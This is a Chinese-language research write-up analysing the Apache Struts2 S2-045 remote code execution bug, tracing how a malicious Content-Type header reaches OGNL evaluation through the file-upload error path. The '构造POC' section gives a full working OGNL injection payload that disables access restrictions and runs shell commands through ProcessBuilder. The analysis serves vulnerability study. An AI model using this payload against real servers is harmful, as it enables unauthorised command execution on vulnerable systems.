作者:lucifaer
作者博客:https://www.lucifaer.com/
S2-045,一個很經典的漏洞,和網上已經有的分析不同,我將整個漏洞的觸發點和流程全都理了一遍,感覺收獲良多,算是能自己說服自己的分析了。
0x00 漏洞描述
Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

從漏洞簡述中可以得知是struts在處理Content-Type時如果獲得未期預的值的話,將會爆出一個異常,在此異常的處理中可能會造成RCE。同時在漏洞的描述中可以得知Struts2在使用基于Jakarta Multipart解析器來處理文件上傳時,可能會造成RCE。
Jakarta Multipart解析器在Struts2中存在于org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest是默認組件之一,首先把這一點記錄下來。
接下來看一下diff:

可以看到關鍵點在于首先判斷validation是否為空,若為空的話則跳過處理。可見關鍵點在于對于validation的處理。
0x01 整體觸發流程
MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 處理requests請求
JakartaMultiPartRequest$parse:67 # 處理上傳請求,捕捉上傳異常
JakartaMultiPartRequest$processUpload:91 # 解析請求
JakartaMultiPartRequest$parseRequest:147 # 創建請求報文解析器,解析上傳請求
JakartaMultiPartRequest$createRequestContext # 實例化報文解析器
FileUploadBase$parseRequest:334 # 處理符合multipart/form-data的流數據
FileUploadBase$FileItemIteratorImpl:945 # 拋出ContentType錯誤的異常,并把錯誤的ContentType添加到報錯信息中
JakartaMultiPartRequest$parse:68 # 處理文件上傳異常
AbstractMultiPartRequest$buildErrorMessage:102 # 構建錯誤信息
LocalizedMessage$LocalizedMessage:35 # 構造函數賦值
FileUploadInterceptor$intercept:264 # 進入文件上傳處理流程,處理文件上傳報錯信息
LocalizedTextUtil$findText:391 # 查找本地化文本消息
LocalizedTextUtil$findText:573 # 獲取默認消息
# 以下為ognl表達式的提取與執行過程
LocalizedTextUtil$getDefaultMessage:729
TextParseUtil$translateVariables:44
TextParseUtil$translateVariables:122
TextParseUtil$translateVariables:166
TextParser$evaluate:11
OgnlTextParser$evaluate:10
0x02 漏洞分析
2.1 漏洞觸發點
根據diff所得結果,跟進validation的執行流程,就如漏洞描述中所述,validation的調用位于Struts2的FileUploadInterceptor也就是處理文件上傳的攔截器中。

跟進LocalizedTextUtil.findText:

這邊先不著急向下跟,首先看一下valueStack的內容是什么:



通過鍵值關系從ActionContext中返回ognl的堆棧結構,也就是說valueStack和ognl的執行相關。
接下來跟進findText方法,著重跟一下valueStack,可以發現主要是以下方法調用到該值:
findMessage()
getMessage()
getDefaultMessage()
ReflectionProviderFactory.getInstance().getRealTarget()
先不管ReflectionProviderFactory.getInstance().getRealTarget(),findMessage()在執行過程中都會調用到getMessage(),而在getMessage()和getDefaultMessage()中都存在buildMessageFormat()方法,該方法用于消息的格式化,而格式化的消息是由TextParseUtil.translateVariables()來生成的:

這里注意getMessage()方法需要設置bundleName這個參數,而這個參數是由aClass賦值的,而在整個觸發流程中aClass是一個File異常類,而這個類在Collections.java中是找不到的,所以在執行過程中,所有的getMessage()和findMessage()都是返回null的,也就是說,在整個流程中,只有getDefaultMessage()會被觸發。

跟一下這個TextParseUtil.translateVariables()的具體實現:


可以看到首先對defaultMessage進行ognl表達式的提取,之后執行ognl表達式。所以漏洞的觸發點就找到了。且觸發的關鍵是構造一個含有ognl表達式的defaultMessage即:

2.2 觸發流程
網上很多文章并沒有說該漏洞的觸發流程是什么樣的,只是在上面的關鍵點下了一個斷向下調試,所以只是完成了對這個流程的調試而已,并沒有完整的把這個漏洞說清楚的原因(浮躁的圈子= =)。
我記錄一下我根據單元測試而找到觸發流程的過程。
根據2.1的分析,我們現在知道只要調用了org.apache.struts2.interceptor.FileUploadInterceptor$intercept且request觸發錯誤處理流程,且validation不為空就可以觸發ognl表達式的執行。所以首先我開始尋找哪里調用了intercept()這個方法:

如上圖紅框的內容,我找到了針對于FileUploadInterceptor的單元測試,在單元測試中詳盡的描述了intercept()的處理流程,跟進看一下我找到了一個有趣的單元測試testInvalidContentTypeMultipartRequest():

還記得我們的intercept的處理流程么:

也就是說我們需要關心的只有MyFileupAction()與request的處理流程。
首先來看一下MyFileupAction()是否是ValidationAware接口的一個實例:


ok,是ValidationAware一個實現,getAction()方法將setAction()設置的對象返回。接下來我們跟一下req的處理流程:
-> createMultipartRequest(req, 2000)
-> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider())
-> this(multiPartRequest, request, saveDir, provider, false);

關鍵點在于multi.parse(request, saveDir);根據調用棧,可以看到這里是調用了JakartaMultiPartRequest實例的parse()方法:

這里注意會捕獲FileUploadException異常。
接著跟進processUpload()方法:

繼續跟進:

首先看createRequestContext()對于請求做了哪些處理:

返回了一個實例化的RequestContext(),記住該實例有四個內置的方法:
- getCharacterEncoding()
- getContentType()
- getContentLength()
- getInputStream()
接著跟進parseRequest():

跟進getItemIterator():

繼續跟進:

這一段代碼首先調用了RequestContext實例的getContentType()方法,該方法就像上面調用棧中所看到的一樣,會返回請求的ContentType字段,然后做一個存在性校驗,校驗ContentType是否為空或并非以multipart開頭,如果上述條件成立,則拋出一個錯誤,并把錯誤的ContentType加入到報錯信息中。這里的InvalidContentTypeException類是繼承于FileUploadException的,也就是說會拋出一個FileUploadException的錯誤。
反過來看JakartaMultiPartRequest的異常捕獲邏輯:

很有意思,我們直接跟進buildErrorMessage看一下:


可以看到在這里,我們將包含著我們可以自定義的ContentType賦值給defaultMessage回看2.1所說的漏洞觸發點,這里就是我們發送請求將ognl傳遞到漏洞觸發點的defaultMessage:



拆分消息中的ognl表達式,并執行:




0x03 構造POC
根據上面的分析,我們可以看到構造POC的關鍵是在發送的請求中構造一個含有ongl表達式的ContentType。較為通用的一個poc如下:
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
效果如下:

0x04 Reference
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/767/